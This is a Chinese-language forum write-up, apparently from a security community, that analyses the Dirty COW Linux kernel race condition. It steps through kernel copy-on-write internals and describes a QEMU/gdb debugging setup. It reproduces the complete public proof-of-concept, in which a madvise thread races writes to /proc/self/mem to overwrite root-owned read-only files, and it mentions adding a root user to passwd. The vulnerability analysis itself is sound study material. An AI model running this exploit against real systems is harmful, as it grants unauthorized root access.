首先这篇文字不是所谓教程,只是自己确实非常喜欢二进制漏洞而写一些总结,有什么写的不妥的希望大伙指正.自己只是站在前辈们的肩膀上,做了一些复现,微调,再把过程share出来;
脏牛影响范围极广,存在Linux内核中已经有长达9年的时间,Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。据说Linus本人也参与了修复,可见修复难度之大.这个洞非常精致隐蔽,分析完毕后不禁拍案叫绝,感觉刺激程度堪比小说
那为什么叫脏牛呢,是因为这是linux的COW:copy on write 写时复制机制存在缺陷(dirty),而COW和cow谐音,所以也叫脏牛(dirtyCOW).使用脏牛,我们可在用户态下用普通用户的身份改写任意任何目录下任意用户的任意文件,甚至包括root用户的文件。试想如果给passwd文件追加一行有root权限的用户信息,就能轻松获取root权限。这个洞价值很高,据说几年前市面上有些安卓ROOT APP,采用的核心技术就是这个洞。
我的环境是linux 4.7.0+ubuntu 16.04
mma的函数原型为mmaap(void addr/ 映射地址,传NULL,只有内核才知道映射到哪/, size_t length/ 映射区大小/,int prot/ 映射区权限/,int flags/ 标志位参数/,int fd/ 文件描述符/,off_t offset / 映射文件偏移量*/)各个参数的含义具体为:
length:用来指定映射区大小,但实际映射区的大小是4k的整数倍,不能传0,不然报错
prot 本进程对这块内存具有什么权限,读/写/执行。
flags:规定mmap的工作模式,可以指定MAP_SHARED或者MAP_PRIVATE,作用分别是:
即映射的更新对其他人可见并且将此文件映射到基础文件,因此该工作模式可用于进程间通信。linux下进程间通信有socket,管道,信号,文件等,安卓还有binder,mmap这种方式属于共享内存。共享内存通信方式的本质就是读写公共内存。举个例子,Windows系统高2G的内存是所有进程公用的,如果我用一个进程把一块无用的gdt表项写成自己的数据了,那么另一个进程再去读这个表项就能读到改写后的数据,从而实现了进程间通信(X86)
MAP_PRIVATE就是映射成本进程的私有内存,本进程中对于这块区域的修改在其他进程中对于这个文件的映射是不可见的,并且这些改动不会传递到基础文件。
offset就是指定映射时文件指针的偏移量,不过这个不是像lseek那样想指哪到指就指哪,必须时4K的整数倍,一般取0.
mmap不是漏洞函数。但他提供了漏洞触发的必要条件
madvise函数形如:int madvise(caddr_t addr, size_t len, int advice);在POC中,madvise所在的线程用来释放mmap出来的内存映射区和他对应的物理页,其中advice参数最为关键,摘录man文档对MADV_DONTNEED的一部分解释如下:
MADV_DONTNEED Do not expect access in the near future. (For the time being, the application is finished with the given range, so the kernel can free resources associated with it.)预计再未来的一段时间不会再访问这块内存(目前程序已经结束,所以内核可以释放相应的资源)
在本漏洞中,我们只需要知道madvise的作用是释放虚拟内存所所在物理页即可
windows提供了OpenProcess、ReadProcessMemory等函数用于提跨进程的虚拟内存读写,linux下是否也存在类似的三环的API不得而知,只知道读写/proc/$pid/mem一种办法,有知道的兄弟能不能提示一下?摘录对该文件的解释如下:
/proc/$pid/mem shows the contents of $pid's memory mapped the same way as in the process, i.e., the byte at offset x in the pseudo-file is the same as the byte at address x in the process. If an address is unmapped in the process, reading from the corresponding offset in the file returns EIO (Input/output error). For example, since the first page in a process is never mapped (so that dereferencing a NULL pointer fails cleanly rather than unintendedly accessing actual memory), reading the first byte of /proc/$pid/mem always yield an I/O error.
由此可知/proc/$pid/mem文件是一个伪文件,对该文件的读写等价于对PID为$pid的进程的虚拟地址空间进行读写.
POC中,把文件指针移动到伪文件偏移为map的地方,而map就是mmap函数把文件映射到虚拟内存后返回的虚拟地址,然后执行write就相当于对本进程中虚拟内存地址为mmap的地方执行写操作。如下
linux x64下和Windows X64都是9-9-9-9-12分页,linux下的叫PMD,PUD,PGD,PTE,物理页面,Windows下叫的PXE,PPE,PDE,PTE,物理页面 ,这里引用一张OxLucifer 前辈的图演示Linux x64下的分页机制
当对不同的linux文件执行read,write,open是调用的函数不同结果也不同,因为每一类文件都有自己对应的read,write,open函数,而一类文件对应一个file—operation结构体,该结构体存指定了该类文件具体的read,write,open等函数是什么。如下是/proc/$pid/mem/ 文件的file_operation结构体
当对mem文件执行write操作时,会调用mem_write,它是脏牛漏洞的起点
正常COW会循环执行三次follow_page_mask 第一次是因为物理页的延迟加载,第二次是因为要去掉"写标记",第三次才能正常返回物理页,简单介绍有关概念:
COW即copy on write,写时复制。举个例子,操作系统为了节省空间,给一些常见的dll如kernel32.dll ntdll.dll都映射成了共享内存,所有的进程都需要加载这些dll,而每个进程的dll都映射到相同的物理内存区域.这样就不用每次都重复加载dll,并且重复为他们开辟物理内存.那这样岂不是说,在其中任何一个进程中对改写dll,其他进程中的dll也相应被改变了?并不是,在windows下hook这些dll时会发现,hook只在本进程有效,在其他进程无效,对公共映射区的修改不会传导到其他进程,是因为写拷贝机制会将修改部分单独分配一个新的物理页,所有的修改发生在新物理页上,并且这个页只属于该进程,其他进程看不到,仍然使用原来的共享内存.这种只在需要修改的时候单独分配内存而不影响绝大多数未修改部分的做法就是写拷贝,其他未修改部分还是和其他所有进程共用相同的物理页的.该视频 是一个简单的讲解.他说从进程A fork出进程B的一刹那,两个进程的物理页是共享的.
延迟加载就是,指到真正用到某一块内存内存的内容时,操作系统才会通过缺页异常来给这个位置分配物理页,否则不给物理页(windows下的缺页异常是e号中断,感兴趣可以自行逆向).这样可以最大程度节省内存。以WindowsXP的X86汇编举例,假设从0x501000到0x502000这块内存区域之前从来没人访问过,并且编译器把已经被初始化为1的全局变量放在了0x501000(假设.data段就在这),当执行mov eax,[0x501000h]
时,操作系统会发现这里本来应该有个物理页并且里面的内容是1,但现在没物理页,就会触发缺页异常,挂上物理页继续执行. 一会我们能从linux的源码里看到,第一次执行faultin_page时怎么给挂上物理页的。
EXP代码开了两个线程,一个不停的往mmap映射的虚拟地址去写恶意数据,一个线程不停的用madvise释放虚拟地址所在的物理页,最终竞争的结果是,不但把原本的物理页替换成有自定义的物理页,还成功的把物理页同步到了文件里.
分析漏洞第一件事就是把POC跑起来:步骤为 1.将POC文件编出来后放入根文件系统中 2.创建一个普通用户test 3.切换到root用户并用root用户创建一个文件foo 4.给foo写入字符串hello,并赋予权限0404 5.切换回普通用户test,由于foo文件是root创建,导致test无法改写它。然后执行POC:./dirtyCOW foo hacku ,执行一会后退出进程,发现foo已经从hello改成了hacku,从而证实用漏洞可以修改任何权限的文件
由于脏牛没有崩溃现场,无法从崩溃入手分析漏洞成因,所以要先搞懂正常COW的代码怎么运行。写了一段代码用来研究COW机制,
脏牛全部的秘密就在于get_user_pages函数,从retry标签到switch(ret)三次循环,搞懂了三次循环的细节就搞懂了脏牛,漏洞重点关注 get_user_pages函数中follow_page_mask和faultin_page,建议先把这些函数自己看一遍.
基于proc文件系统,当对mem文件进行写操作时会调用内核中mem_write函数,调用链如下
接下来我们从__access_remote_vm 开始分析
在access_remote_vm会传入参数int write也就是最后一个参数,来表示写/读虚拟地址,它会被传入 get_user_pages_locked函数里,用来标记一个flags,这个flags是页属性的集合
这个标志位很重要,以后触发漏洞会用到。 把标志位设置好后进入ret = get_user_pages(tsk, mm, start, nr_pages, flags, pages,vmas, locked);(gup.c)接下来我们会深入 get_user_pages探究COW的运行原理
若正常执行COW机制,__get_user_pages函数中从标签retry到goto retry会循环执行三次,执行了3次follow_page_mask和2次faultin_page,重点是这两个函数.搞清楚这三次循环就搞清了内存的延迟加载和COW机制,也就搞懂了脏牛的本质。代码如下
cond_resched()和内核抢占和调度相关,内核态程序调用它会主动让出CPU切换线程,从而构成竞争的条件,正由于线程发生切换,才有可能用别的线程去修改pte,构成了竞争漏洞的窗口期.
注意如果在 mm/gup.c:573 也就是cond_resched();这里下断,由于follow_page_mask会被不同来源的代码频繁调用,为了防止误操作,我们等exp运行到getchar()时再去下断点比较稳妥,被断下时必须观察调用堆栈,确认确实是write触发了断点,不然多数时候都是read触发的,显然不是我们想要的结果.总之留意是否是写导致被断下,且不要过早下断点,不然被反复断下很烦。
follow_page_mask执行寻页操作,就是从cr3开始,一级页表,二级页表..到页表项的过程
它的返回值page表示系统里的物理页的页描述符,该结构体中的flag成员变量表示该物理页具有的属性
当我们步过page = follow_page_mask(vma, start, foll_flags, &page_mask);后,查看page的值,
发现居然是0.x查看内存时还会提示cannot access memeory.为什么会没有找到这个物理页呢,因为follow_page_mask用来查询页表获取虚拟地址对应的物理页,mmap虽然把foo文件映射到虚拟地址空间,但由于之前从未访问过这块虚拟内存区域,所以OS并没有给这个区域挂上实际的物理页面,按照内存的延迟分配机制,不到实际访问内存时系统永远不会给进程挂上物理页的。这也就是”延迟加载,这个在前面预科知识哪里铺垫过。
这里顺便提一句,就是有人可能会质疑,说万一mmap映射的区域恰好在是在已经挂好物理页的区域呢,就不执行寻页操作了,关于这点,我想说确实有这个可能,但根据我的观察,每一次mmap映射的地址都是0x1000的整数倍,比如
0x7ff31f772000是0x1000的整数倍意味着,之前这没有物理页且系统必须分配一个新的物理页给这个虚拟地址。
进入follow_page_mask之后会执行里面的return follow_page_pte,去寻找pte,
pte_offset_map_lock就是用来寻找pte的具体函数,对该过程感兴趣可以看具体实现代码:
pte_none(pte)返回1,不执行return NULL;最终执行return no_page_table(vma, flags), 从而第一次循环第一次执行page = follow_page_mask会返回空,回到__get_user_page后,由于page为空导致if (!page) 条件成立,进入if语句执行faultin_page
再次验证内存区域确实没挂上物理页:我们用gdb查看mmap的内存映射地址
(上面两个地址不一样,是因为是分两次调试的)
把faultin_page函数分三部分,第一部分
第一部分就是检查标志位并填充:&操作是检查有没有标志位,|操作是添加标志位.page是物理页的页描述符,它里面的成员flag里面的存储页属性,比如可读可写可执行一类的进入faultin_page,所以flag有哪些属性,fault_flags也应具备。而在后续的函数参数传递中fault_flags又命名成flags,但本质上是一个东西
第二部分就是核心函数 即缺页处理函数:执行 ret = handle_mm_fault(mm, vma, address, fault_flags);以后会详细分析该函数.
第三部分是检查第二步handle_mm_fault的返回值,比如检查if (tsk)和if (ret & VM_FAULT_RETRY),但调试时发现都没执行到这两个if里面,最关键的是最后一个if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)),这个判断很重要:第二次执行faultin_page会执行*flags &= ~FOLL_WRITE会清除先前写FOLL_WRITE标志位,绕过这个标志位的校验是漏洞的关键。稍后会详细讲
faultin_page的主要功能都在ret = handle_mm_fault(mm, vma, address, fault_flags)里;执行后发现已经挂上了物理页,证据就是0x7fd49db4d00是mmap的地址,观察地址存储的数据会看到ascii码是文件本身"hello",注意这是第一次执行该函数 总结第一次循环:
首先三环的mmap创建一个映射区映射foo文件到0x7fd49db4d00,该地址永远是0x1000的整数倍.由于没有任何代码访问到这块内存,根据内存的延迟加载,此时还没挂上物理页
第一次从三环执行写操作时,根据proc文件系统的设置,系统调用write实际调用了0环的access_remote_vm.一路执行到follow_page_mask,首先检查是否有物理页,发现没有物理页后进入fautin_page,给mmap的地址挂上物理页
再一次从retry那里执行,重复刚才查找页表项的过程,但这次有物理页了,函数正常返回(需要熟悉多级页表映射机制) faultin_page首先会把先前的状态写入fault_flags,如果之前由于写内存执行faultin_page,就给fault_flags加上写标志位:fault_flags |= FAULT_FLAG_WRITE;相当于记录了缺页的原因。 接下来我们会深入handle_mm_fault(mm, vma, address, fault_flags)里去一探究竟
ret = handle_mm_fault(mm, vma, address, fault_flags);才是真正的缺页处理代码,能看到fault_flags也被传了进来。
handle_mm_fault只是handle_mm_fault的封装.我们继续跟进 handle_mm_fault深入分析
该函数分两部分,前一个部分是分配各级别的页表项,就是给挂上pgd,pud,pmd,最终会执行return handle_pte_fault(mm, vma, address, pte, pmd, flags);来填充页表最后一项pte,即真正挂上物理页。继续跟进handle_pte_fault
内核代码十分庞大,无法立刻搞清每个函数的具体作用,也不清楚哪些代码起了关键作用.这时只能通过到网上查找相关函数的介绍,或者调试来一步步确定。调试时一层层的封装加上浩如烟海的细节让人迷茫,不过付出耐心和时间还是能搞清楚的.
我把handle_pte_fault分成两部分看,第一部分
pte_present(entry)用于检查P标志位是否为1,若pte有对应物理页,即在内存中返回1,没有返回0.pte_none检查pte是否可交换.然后根据情况分别使用do_anonymous_page,do_fault,do_swap_page挂物理页.比如当pte所对应的page不在内存中,且pte对应的内容不为0时,表示此时pte的内容所对应的页面在swap空间中,是在磁盘里,此时缺页异常时会通过do_swap_page()函数来分配页面.
第一次执行handle_pte_fault会触发if (!pte_present(entry)) -> if (pte_none(entry)) -> if (vma_is_anonymous(vma)) -> return do_fault(mm, vma, address, p flags, entry);
最终调用return do_fault(mm, vma, address, pte, pmd,flags, entry);do_fault里有三个函数,do_read_fault,do_cow_fault和do_shared_fault,分别是由于read,write和访问共享内存时的触发缺页时对应的处理函数,do_fault作用就是挂物理页,由于我们执行write操作才来的这,所以会执行do_cow_fault
执行之前,S x/gx address
指令显示S Cannot access memory at address 0x7f1bb6dc3000
执行之后再次执行S x/gx address
,结果变成了 S 0x7f1bb6dc3000: 0x00000a6f6c6c6568
证实物理页已经挂载,且内容就是foo文件里的内容“hello”的ASCII码
然后是第二部分:
这部分第一次循环时用不到,第二次循环时这部分代码是重点.到时候再分析
它的作用是查找虚拟地址对应的物理页,并返回该页的页描述符page. 第一次执行follow_page_mask,由于内存延迟加载,此时虚拟地址还没有对应的物理页,返回page为空很正常,第一次执行faultin_page挂上了物理页后,第二次执行follow_page_mask,应该可以找到物理页了,但是通过调试可知,第二次执行又返回0,为什么仍然返回0?不是已经挂上物理页了吗,还需要再跟踪
follow_page_pte函数第一次在
由于pte_none(pte)不为0从而返回NULL; 和上一次不同的是,执行到return follow_page_pte时,第二次在下面的代码处返回。
再次返回空的原因有2点,flags的FOLL_WRITE标志位被置位,且这个pte不可写.
之前提过第一次执行faultin_page,发现如果是由于写内存而缺页处理的,会给flag加一个标志位FOLL_WRITE,
那个时候就证明了flags的FOLL_WRITE确实已经被置一.这里肯定更了,].
pte为什么不可写呢?我们在root用户下创建foo,chmod赋予了0404权限后在普通用户下以private方式mmap映射到内存中,这个pte肯定不可写.所以一定会再次返回空.
FOLL_WRITE啥时候加上的呢,大家可能已经忘记了,是在__get_user_pages里通过
加上的,wirte从哪里来呢,如果顺着堆栈找,发现系统调用刚进内核就已经有了这个标记了,然后一直往子函数里传.
所以总结一下,follow_page_mask两次返回值一第一次执行faultin_page,返回值为空用page接收,page定义成struct page *page,他用来描述对应物理页面,第一次执行follow_page_mask时的确还没有挂上物理页,faultin_page函数会给mmap函数返回的虚拟地址挂上物理页面,第二次执行follow_page_mask时,按理说物理页有了,返回page应该不是空了。但又因为尝试写一个不具有写属性的物理PTE,并且FOLL_WRITE被置位而再次返回NULL,必须第二次执行faultin_page
上次分析faultin_page函数时,留了一个小尾巴,就是handle_pte_fault的第二部分我们没有分析,因为第一次执行faultin_page只执行了handle_pte_fault的第一部分,上次执行了do_fault()函数后物理页已经被挂上了所以这次if (!pte_present(entry)) {}条件就不满足了,就会执handle_pte_fault的第二部分
这次的执行流程如下:
do_wp_page()是COW机制用来处理缺页的函数,里面涉及到和匿名页的代码可以不用看,和swap交换分区,内存和磁盘互相缓存的一套也和漏洞没关系,具体看do_wp_page()的一个代码片段
意思是,会重新使用上一次do_cow_fault已经分配好的物理页,不再开辟新的副本页 (由于是同一进程访问自身内存,所以实际上只有一个物理页面) 关于这个函数,感兴趣的同学可参考用户空间缺页异常handle_pte_fault()分析--(下)--写时复制 .
执行完do_wp_page,退出并返回到faultin_page后,还执行了
这个步骤去掉了flags的FOLL_WRITE标志位,回顾一下在哪加的这个标记:
之前反复提到flags的这个标志位我们应该不陌生了,正是这个标记的阻挠,第二次follow_page_mask无法正常返回page,这次我们要把它去掉,那么第三次follow_page_mask就能正常返回page了
总结一下,第一次执行faultin_page里的handle_pte_fault里的do_cow_fault挂上了物理页面,第二次执行faultin_page有两个关键点,一个是执行真正的COW函数:do_wp_page,第二个是去掉flags的写标记
到第三次循环,执行follow_page_mask前,p* page 的结果是0xffff8800910b2c00: 0x0000000000000000
,执行后,page结构体就被填充
再总结:第一次follow_page_mask返回空因为没挂物理页,第二次follow_page_mask返也回空是由于pte不可写且没有清除写标志位导致.第三次就没了写标记也有了物理页,就正常返回page.以上是正常的COW过程.有了上面的分析,接下来就能进入真正的漏洞复现环节
脏牛没有崩溃现场,无法进行奔溃分析,复现还需要操作物理页.传统qemu+gdb不能完全满足需求,我按照OxLucifer:[原创]Linux内核漏洞调试环境搭建的经验分享 里提供的方法,最终实现目标.非常感谢大佬,救我于水火,大佬构思之精巧让人叹为观止...注意,第二个gdb要用sudo去attach到qemu进程,不然读写gpa2hva转换后的虚拟地址是发现没权限.
在此之上我还做了些改进,由于每次计算各级页表偏移很麻烦,于是用python写了个gdb插件定义了一个v2p命令来解析,它的好处是,一方面断到内核后,我能拿到内核cr3相当于绕过了KPTI,另一方面解析出了各级目录的索引值及偏移.效果如下.这个gdb插件我会放到附件里
配合上面的结果做个四级页表映射演示.如下图所示,6c6c6568是ASCII的"lleh",我文件里是hello.这里用小字节序读了四字节,结果符合预期
然后用gpa2hva得到物理页在qemu进程的虚拟地址,最后用gdb附加该进程并修改这个地址就能改写对应的物理页了
借用星盟安全大牛GraVity0大佬的总结
第二次faultin_page执行之后到第三次follow_page_mask之前是一个重要时间段,期间cond_reach()主动让出CPU,给madvise清空pte提供了时间窗口,清空后再去执行follow_page_mask(第三次执行)->follow_page_pte,当再次判断if (!pte_present(pte)) ,因为pte是空,所以goto到no_page,返回空到page,导致即将第三次执行faultin_page
然而与前几次不同,这次FOLLOW_WRITE标志位被清空了,所以faultin_page里的fault_flags是不会有FAULT_FLAG_WRITE了,那么执行真正的缺页处理时,page这个页描述符也返回了黑客构造好的物理页面,从而改写了任意文件的内容
1.CPU数量设置太多,导致断点被不同的线程频繁命中,可以降低CPU数量为1-2个
2.优化问题导致程序经常跑飞,用attribute ((optimize("O0")))来解除优化
3.不知道为什么有的函数执行完后会莫名其妙的命中之前的断点(调用栈突然就全变了),建议把不用的断点暂时禁用掉
4.调着调着突然进到一个奇怪的函数里,有可能是遇到方法内联了
5.打开虚拟化对调试似乎没什么影响,打开了还快,那就打开吧
6.我之前曾经想过用virtualgdb来调试linux下的poc,但是当我在内存窗口查看map变量时,相当于访问了一次这个虚拟地址,系统就会给挂上物理页,但提挂载物理页就干扰了漏洞触发,所以不建议用virtualgdb来调试内核漏洞有关的poc。况且他的调用栈也不能显示内核函数调用,我感觉就只能用来开发调试三环程序,调试内核的不行
7.源代码的行数和gdb里读取到的符号经常不一样,比如想在mm/memory.c:3597下断点, b mm/memory.c:3597 但 gdb 里的3597行根本不时源码里的3597行,而是其他位置,这个和无法用-O0级别来编译内核有关,这个只能说目前无解,因为linux社区不鼓励页没法用-O0的编译优化等级,只能用-O2或者-Os,本人测试-O1也可以,但-O0就不行,哎
8.就是调试follow_page_mask发现,源代码里很多的代码居然消失了?冗余的代码被优化是情有可原,但这么大一坨代码貌似有用的啊,怎么没了?
执行的时候却发现直接从最上面跳到最下面执行了,我一度对此感到十分困惑,最后也只能归结于激进的编译优化了
9.一般都用qemu+busybox体调试内核,但linux4.7内核不知道咋了,busybox死活带不起来,我的5.2个和4.2版本内核都带起来了,编译成静态库看,取消什么超级服务器什么的都配了但就是带不起来.我看你他的错误号说是ext3 ext4跟这个格式有关,于是手动改了下内核编译选项,更奇葩的是,改完后第一次运行成功了,但是以后再也没成功过!最后多亏了OxLucifer 大神提供的方法,用syzkaller提供的根文件系统总算成功了.感谢大神
感谢前辈们的无私分享,尤其OxLucifer,GraVity0两位巨佬,感谢
OxLucifer:[原创]Linux内核漏洞调试环境搭建的经验分享
GraVity0: linux内核漏洞的分析与利用
COW机制讲解
ARM32页表-虚拟地址到物理地址的转换
请求调页和写时复制
MAP_SHARED
Share this mapping. Updates to the mapping are visible to other processes that
map
this
file
,
and
are carried through to the underlying
file
. (To precisely control when updates are carried through to the underlying
file
requires the use of msync(
2
).)
MAP_SHARED
Share this mapping. Updates to the mapping are visible to other processes that
map
this
file
,
and
are carried through to the underlying
file
. (To precisely control when updates are carried through to the underlying
file
requires the use of msync(
2
).)
MAP_PRIVATE
Create a private copy
-
on
-
write mapping. Updates to the mapping are
not
visible to other processes mapping the same
file
,
and
are
not
carried through to the underlying
file
. It
is
unspeci‐fied whether changes made to the
file
after the mmap() call are visible
in
the mapped region.
MAP_PRIVATE
Create a private copy
-
on
-
write mapping. Updates to the mapping are
not
visible to other processes mapping the same
file
,
and
are
not
carried through to the underlying
file
. It
is
unspeci‐fied whether changes made to the
file
after the mmap() call are visible
in
the mapped region.
int
f
=
open
(
"/proc/self/mem"
,O_RDWR);
lseek(f,
map
, SEEK_SET);
write(f,
str
, strlen(
str
));
int
f
=
open
(
"/proc/self/mem"
,O_RDWR);
lseek(f,
map
, SEEK_SET);
write(f,
str
, strlen(
str
));
static const struct file_operations proc_mem_operations
=
{
.llseek
=
mem_lseek,
.read
=
mem_read,
.write
=
mem_write,
.
open
=
mem_open,
.release
=
mem_release,
};
static const struct file_operations proc_mem_operations
=
{
.llseek
=
mem_lseek,
.read
=
mem_read,
.write
=
mem_write,
.
open
=
mem_open,
.release
=
mem_release,
};
void
*
map
;
int
f;
struct stat st;
char
*
name;
void
*
madviseThread(void
*
arg) {
char
*
str
;
str
=
(char
*
)arg;
int
i, c
=
0
;
for
(i
=
0
; i <
100000000
; i
+
+
) {
c
+
=
madvise(
map
,
100
, MADV_DONTNEED);
}
printf(
"madvise %d\n"
, c);
}
void
*
procselfmemThread(void
*
arg) {
char
*
str
;
str
=
(char
*
)arg;
int
f
=
open
(
"/proc/self/mem"
,O_RDWR);
int
i, c
=
0
;
for
(i
=
0
; i <
100000000
; i
+
+
) {
lseek(f,
map
, SEEK_SET);
c
+
=
write(f,
str
, strlen(
str
));
}
printf(
"procselfmem %d\n"
, c);
}
int
main(
int
argc, char
*
argv[]) {
if
(argc <
3
)
return
1
;
pthread_t pth1, pth2;
f
=
open
(argv[
1
], O_RDONLY);
fstat(f, &st);
name
=
argv[
1
];
map
=
mmap(NULL, st.st_size, PROT_READ,MAP_PRIVATE, f,
0
);
printf(
"mmap %x\n"
,(
int
)
map
);
pthread_create(&pth1, NULL,madviseThread, argv[
1
]);
pthread_create(&pth2, NULL,procselfmemThread, argv[
2
]);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return
0
;
}
void
*
map
;
int
f;
struct stat st;
char
*
name;
void
*
madviseThread(void
*
arg) {
char
*
str
;
str
=
(char
*
)arg;
int
i, c
=
0
;
for
(i
=
0
; i <
100000000
; i
+
+
) {
c
+
=
madvise(
map
,
100
, MADV_DONTNEED);
}
printf(
"madvise %d\n"
, c);
}
void
*
procselfmemThread(void
*
arg) {
char
*
str
;
str
=
(char
*
)arg;
int
f
=
open
(
"/proc/self/mem"
,O_RDWR);
int
i, c
=
0
;
for
(i
=
0
; i <
100000000
; i
+
+
) {
lseek(f,
map
, SEEK_SET);
c
+
=
write(f,
str
, strlen(
str
));
}
printf(
"procselfmem %d\n"
, c);
}
int
main(
int
argc, char
*
argv[]) {
if
(argc <
3
)
return
1
;
pthread_t pth1, pth2;
f
=
open
(argv[
1
], O_RDONLY);
fstat(f, &st);
name
=
argv[
1
];
map
=
mmap(NULL, st.st_size, PROT_READ,MAP_PRIVATE, f,
0
);
printf(
"mmap %x\n"
,(
int
)
map
);
pthread_create(&pth1, NULL,madviseThread, argv[
1
]);
pthread_create(&pth2, NULL,procselfmemThread, argv[
2
]);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return
0
;
}
typedef
long
int
intptr_t;
typedef unsigned
long
int
uintptr_t;
typedef
int
intptr_t;
typedef unsigned
int
uintptr_t;
void
*
map
;
int
f ;
struct stat st;
char
*
name;
void worker_write(void
*
arg)
{
char
*
str
;
str
=
(char
*
)arg;
int
f
=
open
(
"/proc/self/mem"
,O_RDWR);
int
i,c
=
0
;
lseek(f,(uintptr_t)
map
,SEEK_SET);
write(f,
str
,strlen(
str
));
printf(
"proceselfmem %d\n\n"
,c);
}
int
main(
int
argc,char
*
argv[])
{
if
(argc<
3
)
{
(void)fprintf(stderr,
"%s\n"
,
"usage:dirty cow test target_file_new_content"
);
return
1
;
}
f
=
open
(argv[
1
],O_RDONLY);
fstat(f,&st);
name
=
argv[
1
];
map
=
mmap(NULL, st.st_size, PROT_READ,MAP_PRIVATE, f,
0
);
printf(
"mmap %#zx\n"
,(uintptr_t)
map
);
getchar();
worker_write(argv[
2
]);
return
0
;
}
typedef
long
int
intptr_t;
typedef unsigned
long
int
uintptr_t;
typedef
int
intptr_t;
typedef unsigned
int
uintptr_t;
void
*
map
;
int
f ;
struct stat st;
char
*
name;
void worker_write(void
*
arg)
{
char
*
str
;
str
=
(char
*
)arg;
int
f
=
open
(
"/proc/self/mem"
,O_RDWR);
int
i,c
=
0
;
lseek(f,(uintptr_t)
map
,SEEK_SET);
write(f,
str
,strlen(
str
));
printf(
"proceselfmem %d\n\n"
,c);
}
int
main(
int
argc,char
*
argv[])
{
if
(argc<
3
)
{
(void)fprintf(stderr,
"%s\n"
,
"usage:dirty cow test target_file_new_content"
);
return
1
;
}
f
=
open
(argv[
1
],O_RDONLY);
fstat(f,&st);
name
=
argv[
1
];
map
=
mmap(NULL, st.st_size, PROT_READ,MAP_PRIVATE, f,
0
);
printf(
"mmap %#zx\n"
,(uintptr_t)
map
);
getchar();
worker_write(argv[
2
]);
return
0
;
}
handle_pte_fault
__handle_mm_fault
handle_mm_fault
faultin_page
__get_user_pages
__get_user_pages_locked
get_user_pages_remote
__access_remote_vm
access_remote_vm
mem_rw
mem_write
__vfs_write
vfs_write
SYSC_write
SyS_write
entry_SYSCALL_64
handle_pte_fault
__handle_mm_fault
handle_mm_fault
faultin_page
__get_user_pages
__get_user_pages_locked
get_user_pages_remote
__access_remote_vm
access_remote_vm
mem_rw
mem_write
__vfs_write
vfs_write
SYSC_write
SyS_write
entry_SYSCALL_64
if
(pages)
flags |
=
FOLL_GET;
if
(write)
/
*
在对
/
proc
/
self
/
mem执行写操作时,write就是
1
,是__access_remote_vm的最后一个参数传入的
*
/
flags |
=
FOLL_WRITE;
if
(force)
flags |
=
FOLL_FORCE;
pages_done
=
0
;
lock_dropped
=
false;
for
(;;) {
ret
=
__get_user_pages(tsk, mm, start, nr_pages, flags, pages,
vmas, locked);
if
(pages)
flags |
=
FOLL_GET;
if
(write)
/
*
在对
/
proc
/
self
/
mem执行写操作时,write就是
1
,是__access_remote_vm的最后一个参数传入的
*
/
flags |
=
FOLL_WRITE;
if
(force)
flags |
=
FOLL_FORCE;
pages_done
=
0
;
lock_dropped
=
false;
for
(;;) {
ret
=
__get_user_pages(tsk, mm, start, nr_pages, flags, pages,
vmas, locked);
long
__get_user_pages(struct task_struct
*
tsk, struct mm_struct
*
mm,unsigned
long
start, unsigned
long
nr_pages,
unsigned
int
gup_flags, struct page
*
*
pages,struct vm_area_struct
*
*
vmas,
int
*
nonblocking)
{
...
retry:
if
(unlikely(fatal_signal_pending(current)))
return
i ? i :
-
ERESTARTSYS;
cond_resched();
page
=
follow_page_mask(vma, start, foll_flags, &page_mask);
if
(!page) {
int
ret;
ret
=
faultin_page(tsk, vma, start, &foll_flags,
nonblocking);
switch (ret) {
case
0
:
goto retry;
...
long
__get_user_pages(struct task_struct
*
tsk, struct mm_struct
*
mm,unsigned
long
start, unsigned
long
nr_pages,
unsigned
int
gup_flags, struct page
*
*
pages,struct vm_area_struct
*
*
vmas,
int
*
nonblocking)
{
...
retry:
if
(unlikely(fatal_signal_pending(current)))
return
i ? i :
-
ERESTARTSYS;
cond_resched();
page
=
follow_page_mask(vma, start, foll_flags, &page_mask);
if
(!page) {
int
ret;
ret
=
faultin_page(tsk, vma, start, &foll_flags,
nonblocking);
switch (ret) {
case
0
:
goto retry;
...
(gdb) p page
$
1
=
(struct page
*
)
0x0
<irq_stack_union>
(gdb) p page
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2021-2-22 11:44
被r0Cat编辑
,原因:
上传的附件: